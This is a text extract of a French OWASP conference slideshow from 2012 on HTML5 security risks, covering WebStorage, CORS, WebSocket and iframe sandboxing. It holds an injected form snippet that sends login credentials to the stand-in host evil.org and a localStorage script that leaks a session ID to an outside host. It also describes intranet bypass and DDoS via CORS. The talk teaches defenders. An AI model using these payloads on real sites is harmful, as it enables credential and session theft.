SlideShare ist ein Scribd-Unternehmen logo
1 von 105
Downloaden Sie, um offline zu lesen
The OWASP Foundation
                                                                 http://www.owasp.org




                             et la Sécurité
                            ou comment les Poneys envahissent le Web 3.0...


                                    Sébastien Gioria
                                      French OWASP Leader
                                    Global Education Committee




                                Paris - 7 Février 2012
Wednesday, February 8, 12
Agenda
                   •Un peu d’histoire
                   •HTML5 pour les nuls en 4mn 2s
                   •Nouvelles attaques et protections ?
                   •Références




                                                          2
Wednesday, February 8, 12
Back to the past
          1995              1998      2000    2005       2012


   HTML 2.0                        HTML 4.0             HTML 5 ?

                                   CSS 2                CSS 3
            JavaScript
                             la DOM    XmlHttpRequest



                                                                   3
Wednesday, February 8, 12
4
Wednesday, February 8, 12
ELEMENTS INTERESSANTS DE HTML5




                                             5
Wednesday, February 8, 12
4mn 2s
                   Nouvelles balises
                            •   On n’est pas la pour parler de peinture...

                   Nouvelles APIs
                            •   WebSocket
                            •   WebMessaging
                            •   IndexedDB
                            •   OffLine Web Application
                            •   WebStorage             (votre nouveau DropBox ? ...)


                            •   Cross Origin Ressource Sharing                         (déja rien que le
                                nom est intéressant...)
                                                                                                           6
Wednesday, February 8, 12
4mn 2s
                   WebSocket : Permet d’effectuer des connexions
                     persistantes et bi-directionnelles
                            • mécanisme de “Push” possible
                            • interface en cours de finalisation/
                              spécifications
                            • nécessite un serveur “compatible”
                            • API minimaliste (send, receive via event)
                            • http://www.w3.org/TR/websockets/
                                                                          7
Wednesday, February 8, 12
4mn 2s
                   WebMessaging : communication inter-documents
                     HTML
                            •   via la méthode window.postMessage();
                            •   pas de garantie de contenu inoffensif (ie;
                                pas de filtre de type anti-XSS ....)
                            •   vérification de l’origine a la charge de
                                l’application receptrice.
                            •   il est possible de transporter du JSON :)
                            •   http://www.w3.org/TR/webmessaging/
                                                                             8
Wednesday, February 8, 12
4mn 2s
                   IndexedDB; la Web SQL Database...
                   •API synchrone et asynchrone
                   •pensée pour JavaScript; stockage
                            d’objets
                   •http://www.w3.org/TR/IndexedDB/



                                                       9
Wednesday, February 8, 12
4mn 2s
                   Offline Web Applications: possibilité
                     d’exécuter tout ou partie des applications
                     même déconnecté.
                            • via navigator.onLine
                            • mise en cache des données
                              nécessaires(HTML, CSS, JavaScript...)
                            • http://www.w3.org/TR/html5/
                              offline.html
                                                                      10
Wednesday, February 8, 12
4mn 2s
                   WebStorage : donne la capacité au navigateur
                     de stocker jusqu’a 5Mo à 10Mo de données
                   •deux type de stockage : local ou de
                            session
                   •possibilité de stocker des objets JSON
                   •possibilité de stocker de manière
                            régulière
                   •http://www.w3.org/TR/webstorage/
                                                                  11
Wednesday, February 8, 12
SÉCURITÉ ?




                            12
Wednesday, February 8, 12
OWASP Top Ten 2010
                                                                           A3:	
  Mauvaise	
  ges-on	
             A4:Référence	
  directe	
  
                                               A2:	
  Cross	
  Site	
  
           A1:	
  Injec-on                                                  des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                               Scrip-ng	
  (XSS)
                                                                             l’authen-fica-on                                 objet


                                                                                                                      A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
         A6:	
  Mauvaise	
             A7:	
  Mauvais	
  stockage	
  
                                                                                                                   restric-on	
  d’accès	
  à	
  
          Forgery	
  (CSRF)	
             configura-on	
  sécurité            cryptographique
                                                                                                                         une	
  URL



                                              A9:	
  Protec-on	
  
                                                                           A10:	
  	
  Redirec-ons	
  	
  et	
  
                                            insuffisante	
  lors	
  du	
  
                                                                           transferts	
  non	
  validés
                                          transport	
  des	
  données


                                         http://www.owasp.org/index.php/Top_10




Wednesday, February 8, 12
Falsification de Forms
                   Il est possible de contrôler une Forms en
                      dehors de l’élément “forms”
                            <form id=“myform” action=“basic.php” >
                              <input type=“text” name=“user” value=“…” />
                            </form>

                            <input form=“myform” type=“submit” name=“…”
                                value=“Advanced Version”/>




                                                                            14
Wednesday, February 8, 12
Falsification Forms
                   <form id=“login” action=“login.php” >
                     <input type=“text” name=“username” />
                     <input type=“password” name=“password” />
                     <input type=“submit” name=“…” value=“Login” />
                   </form>


                    Si on arrive à injecter ce code
                     New VIP section of the site is open!
                     <input form=“login” type=“submit”
                        name=“Enter VIP section”
                        formaction=“http://evil.org/login.php” />




                               Automatiquement, evil.org dispose
                               des éléments et la Forms initiale est
                               appelée
                                                                       15
Wednesday, February 8, 12
Protocol/content Handlers
                            Il est possible d’enregistrer des handlers de
                                protocole ou de type de fichiers personalisés
                                • sms://
                                • application/pdf
                             Il est possible (mais pas recommandé)
                             de changer les handlers standards
                             (dépend des navigateurs)
                             Il n’est pas obligatoire de demander à
                             l’utilisateur son autorisation

                                                                                16
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.


                            Mais c’etait sans compter les




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.


                              Mais c’etait sans compter les

                            HTTP/1.1 200 OK
                            Content-Type: text/html
                            Access-Control-Allow-Origin: http://internal.example.com




                                                                                       17
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                    poc.ckers.fr
                                                   GET / HTTP/1.1




                intranet
                                                                              18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                    poc.ckers.fr
                                                   GET / HTTP/1.1




                intranet
                                                                              18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                         poc.ckers.fr

                                             HTTP/1.1 200 Ok
                                             <script>XMLHttpRequest...




                intranet
                                                                                   18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                         poc.ckers.fr

                                             HTTP/1.1 200 Ok
                                             <script>XMLHttpRequest...




                intranet
                                                                                   18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                              Bypass des contrôles d’accès
                                                             poc.ckers.fr
            XMLHTTPRequest




                      intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                              Bypass des contrôles d’accès
                                                             poc.ckers.fr
            XMLHTTPRequest




                      intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                                poc.ckers.fr




                                            POST /endpoint HTTP/1.1
                                            .....(contenu de la page interne)




                intranet
                                                                                          18
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                              poc.ckers.fr
                                             GET / HTTP/1.1




                                                 www.cible.com




                                                                        19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                              poc.ckers.fr
                                             GET / HTTP/1.1




                                                 www.cible.com




                                                                        19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                          poc.ckers.fr

                                       HTTP/1.1 200 Ok
                                       <iframe src=...




                                                     www.cible.com




                                                                     19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                            poc.ckers.fr




                                     XML
                                         HttpRe
                                               ques
                                                   t   www.cible.com




                                                                       19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                         poc.ckers.fr




                                 XML
                                     Http           www.cible.com
                                          Reques
                                                t




                                                                    19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                         poc.ckers.fr




                                                    www.cible.com
                                 XML
                                     Http
                                          Reques
                                                t



                                                                    19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 4/4

                   Contre-mesures :
                   •Restriction du domaine
                   •Ne pas faire confiance à l’entete; elle
                            peut être modifiée par l’attaquant.
                   •Mettre en place des contre-mesures
                            réseaux (pour les DDOS)



                                                                  20
Wednesday, February 8, 12
WebStorage
                   Pas de contrôle de la part de l’utilisateur
                     sur ce qui est stocké/accéder
                   L’injection de Javascript peut bypasser la
                      limitation du contrôle d’accès.
                            ➡Vol de Sessions
                            ➡Vol de données sensibles
                            ➡Tracking d’utilisateurs

                                                                 21
Wednesday, February 8, 12
WebStorage
                   Vol de Sessions; juste un peu plus
                     compliqué. :
  <script>
  document.write("<img
  src='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");
  </script>




                            le flag HTTPOnly des cookies ne fonctionne
                            pas sur les localStorage !



                                                                                    22
Wednesday, February 8, 12
WebStorage
                   Tracking User



                                   Les localStorage ne sont pas forcément
                                     effacer lorsqu’on efface l’historique


                            Il est donc possible de créer des
                            identifiants (de type cookies) persistants
                            permettant de suivre l’utilisateur

                                                                             23
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                             GET / HTTP/1.1




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                             GET / HTTP/1.1




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok




                                                                     24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok




                                                                     24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket
                                 WebSocket Protocl Handshake




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket
                                 WebSocket Protocl Handshake




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                         GET / HTTP/1.1

                                   HTTP/1.1 200 Ok
                                                     Upgrade WebSocket
                                 WebSocket Protocl Handshake

                                Tunnel TCP Full Duplex




                                                                          24
Wednesday, February 8, 12
Websocket Menaces
                   Parmi les attaques possible, certaines sont
                     triviales:
                   •Shell Distant
                   •Botnet Web
                    • via un XSS ou tout simplement en se
                            connectant à un site Web.
                   •Port scanning...
                                                                 25
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                          GET / HTTP/1.1




                                                           26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                          GET / HTTP/1.1




                                                           26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok




                                                                   26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok




                                                                   26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com
                                             HTTP/1.1 200 Ok
                                             Contenu falsifié

                                                                      26
Wednesday, February 8, 12
OffLine Web Application
                  <!DOCTYPE HTML>
                  <html manifest="/cache.manifest">
                  <body>


                   •Possibilité d’avoir des attaques de Type
                            APT ?
                   •Possibilité de pollution des caches de
                            navigateurs (via un point d’accès
                            malveillant); meme du SSL




                                                                27
Wednesday, February 8, 12
WebMessage
                   •Possibilité de perte de données sensibles
                            (si envoyées à une “mauvaise iframe”)
                                                                 Page du site “interne”
                                postMessage()




                                 <iframe src=”outside.control”




                                                                                          28
Wednesday, February 8, 12
API Geolocation
                   Possibilité de découvrir le lieu ou se trouve
                     l’utilisateur (sous reserve d’avoir un
                     GPS, ou autre système).
                   Perte de données de vie privée...




                                                                   29
Wednesday, February 8, 12
Bac a sable des iframes
                    <iframe sandbox="....."
                    src="http://monsite.com/index.html"></iframe>


                   Par défaut si rien n’est précisé :
                   •Les formulaires, scripts et plug-ins sont désactivés.
                   •Pas d’accès aux éléments stockés en local (cookies,
                            sessionStorage, localStorage).
                   •Par d’AJAX
                   •Les liens ne peuvent cibler d’autres frames
                   •Le contenu est considéré externe (pas d’accès à la
                            DOM)


                                                                            30
Wednesday, February 8, 12
Bac a sable des iframes
                   Lever les restrictions :
                   •allow-same-origin : autorise le contenu a être traité comme de
                            la même origine est pas externe
                   •allow-top-navigation : l’iframe peut accéder à la navigation de
                            niveau supérieur
                   •allow-forms : autorise les formulaires
                   •allow- scripts : les scripts (hors popup) sont autorisés

                                 Les navigateurs ne supportent pas
                                 tous ces éléments !
                                                                                      31
Wednesday, February 8, 12
Autres points importants
                   Les longs traitements en JavaScript
                     “plantaient” les navigateurs.
                   Les WebWorkers permettent de lancer des
                     JavaScript en tache de fond

                            DDOS avec CORS & WebWorkers
                               Calculs distribués (cf Ravan)



                                                               32
Wednesday, February 8, 12
Autres Points importants
                   CSS3 introduit de nouvelles capacités à
                     injecter du code JavaScript
                            Nouvelles capacités au ClickJacking




                                                                  33
Wednesday, February 8, 12
Conclusion
            Plein de nouvelles API interessantes pour
               le développeur

                            L’ouverture se fait au détriment de la
                            sécurité....
                            Une surface d’attaque accrue
                            La belle part au JavaScript (qui peut
                            s’executer sans consentement
                            utilisateur)


                                                                     34
Wednesday, February 8, 12
ww.html5test.com




                                               35
Wednesday, February 8, 12
Quelques Sites a suivre..

                   http://www.w3.org/TR/html5/ : le standard
                   https://www.owasp.org/index.php/
                      HTML5_Security_Cheat_Sheet
                   http://www.caniuse.com : liste des différents
                      supports d’API par navigateur
                   http://www.html5test.com : le support de VOTRE
                      navigateur vis a vis de la norme.




                                                                    36
Wednesday, February 8, 12

Weitere ähnliche Inhalte

Andere mochten auch

Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...
Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...
Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...Alphorm
 
Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm
 
Alphorm.com Support de la formation Hacking et Sécurité Metasploit
Alphorm.com Support de la formation Hacking et Sécurité MetasploitAlphorm.com Support de la formation Hacking et Sécurité Metasploit
Alphorm.com Support de la formation Hacking et Sécurité MetasploitAlphorm
 
Alphorm.com Formation Hacking et Sécurité , avancé
Alphorm.com Formation Hacking et Sécurité , avancéAlphorm.com Formation Hacking et Sécurité , avancé
Alphorm.com Formation Hacking et Sécurité , avancéAlphorm
 
Dissertation_de_DIH-final
Dissertation_de_DIH-finalDissertation_de_DIH-final
Dissertation_de_DIH-finalKinseyGrumbach
 
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...TransparenciaporColombia
 
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...TransparenciaporColombia
 
Portrait Chinois De Tran Le
Portrait Chinois De Tran LePortrait Chinois De Tran Le
Portrait Chinois De Tran Lemmehenderson
 
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico TransparenciaporColombia
 
La veille de Né Kid du 071211 : Le téléphone mobile en Afrique
La veille de Né Kid du 071211 : Le téléphone mobile en AfriqueLa veille de Né Kid du 071211 : Le téléphone mobile en Afrique
La veille de Né Kid du 071211 : Le téléphone mobile en AfriqueNé Kid
 
Direction Ressources Humaines à temps partagé
Direction Ressources Humaines à temps partagéDirection Ressources Humaines à temps partagé
Direction Ressources Humaines à temps partagéAtlays
 
7 practica agregando db en vb
7 practica agregando db en vb7 practica agregando db en vb
7 practica agregando db en vbMa Isabel Arriaga
 
Histoire de Prudence
Histoire de PrudenceHistoire de Prudence
Histoire de PrudencePierreSnaet
 
Communications Électroniques Effectives :: communication et communautés
Communications Électroniques Effectives :: communication et communautésCommunications Électroniques Effectives :: communication et communautés
Communications Électroniques Effectives :: communication et communautésKatheline Coleman
 
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...Wolters Kluwer Belgium
 
La veille de né kid du 15.09.2010 : le folklore du web
La veille de né kid du 15.09.2010 : le folklore du webLa veille de né kid du 15.09.2010 : le folklore du web
La veille de né kid du 15.09.2010 : le folklore du webNé Kid
 

Andere mochten auch (20)

Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...
Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...
Alphorm.com Support de la Formation VMware vSphere 6 - Clustering HA, DRS et ...
 
Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0
 
Alphorm.com Support de la formation Hacking et Sécurité Metasploit
Alphorm.com Support de la formation Hacking et Sécurité MetasploitAlphorm.com Support de la formation Hacking et Sécurité Metasploit
Alphorm.com Support de la formation Hacking et Sécurité Metasploit
 
Alphorm.com Formation Hacking et Sécurité , avancé
Alphorm.com Formation Hacking et Sécurité , avancéAlphorm.com Formation Hacking et Sécurité , avancé
Alphorm.com Formation Hacking et Sécurité , avancé
 
Dissertation_de_DIH-final
Dissertation_de_DIH-finalDissertation_de_DIH-final
Dissertation_de_DIH-final
 
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...
Práctica XII: Factura y guía de atención al cliente en sistema braille Gas Na...
 
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...
Fondo de Control Social Ciudadanos al Cuidado de lo Público.Nodo Centro Orien...
 
Portrait Chinois De Tran Le
Portrait Chinois De Tran LePortrait Chinois De Tran Le
Portrait Chinois De Tran Le
 
Investigación cualitativa
Investigación cualitativaInvestigación cualitativa
Investigación cualitativa
 
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico
Observatorios al Concejo de Barranquilla y la Asamblea del Atlántico
 
La veille de Né Kid du 071211 : Le téléphone mobile en Afrique
La veille de Né Kid du 071211 : Le téléphone mobile en AfriqueLa veille de Né Kid du 071211 : Le téléphone mobile en Afrique
La veille de Né Kid du 071211 : Le téléphone mobile en Afrique
 
Direction Ressources Humaines à temps partagé
Direction Ressources Humaines à temps partagéDirection Ressources Humaines à temps partagé
Direction Ressources Humaines à temps partagé
 
Blearning
BlearningBlearning
Blearning
 
Celestial piano
Celestial pianoCelestial piano
Celestial piano
 
7 practica agregando db en vb
7 practica agregando db en vb7 practica agregando db en vb
7 practica agregando db en vb
 
Histoire de Prudence
Histoire de PrudenceHistoire de Prudence
Histoire de Prudence
 
Communications Électroniques Effectives :: communication et communautés
Communications Électroniques Effectives :: communication et communautésCommunications Électroniques Effectives :: communication et communautés
Communications Électroniques Effectives :: communication et communautés
 
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...
Surfer avec la vague mobile (Claude Rapoport) - Belgian Insurance Conference ...
 
La veille de né kid du 15.09.2010 : le folklore du web
La veille de né kid du 15.09.2010 : le folklore du webLa veille de né kid du 15.09.2010 : le folklore du web
La veille de né kid du 15.09.2010 : le folklore du web
 
Top10 risk in app sec fr
Top10 risk in app sec frTop10 risk in app sec fr
Top10 risk in app sec fr
 

Ähnlich wie 2011 02-07-html5-security-v1

OWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French versionOWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French versionspl0it
 
Node.js et les nouvelles technologies javascript
Node.js et les nouvelles technologies javascriptNode.js et les nouvelles technologies javascript
Node.js et les nouvelles technologies javascriptKhalid Jebbari
 
Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Adyax
 
Html5 par Florent Garin, au Toulouse JUG
Html5 par Florent Garin, au Toulouse JUGHtml5 par Florent Garin, au Toulouse JUG
Html5 par Florent Garin, au Toulouse JUGJUG Toulouse
 
L'avenir du web au prisme de la ressource
L'avenir du web au prisme de la ressourceL'avenir du web au prisme de la ressource
L'avenir du web au prisme de la ressourcePascale Laurent
 
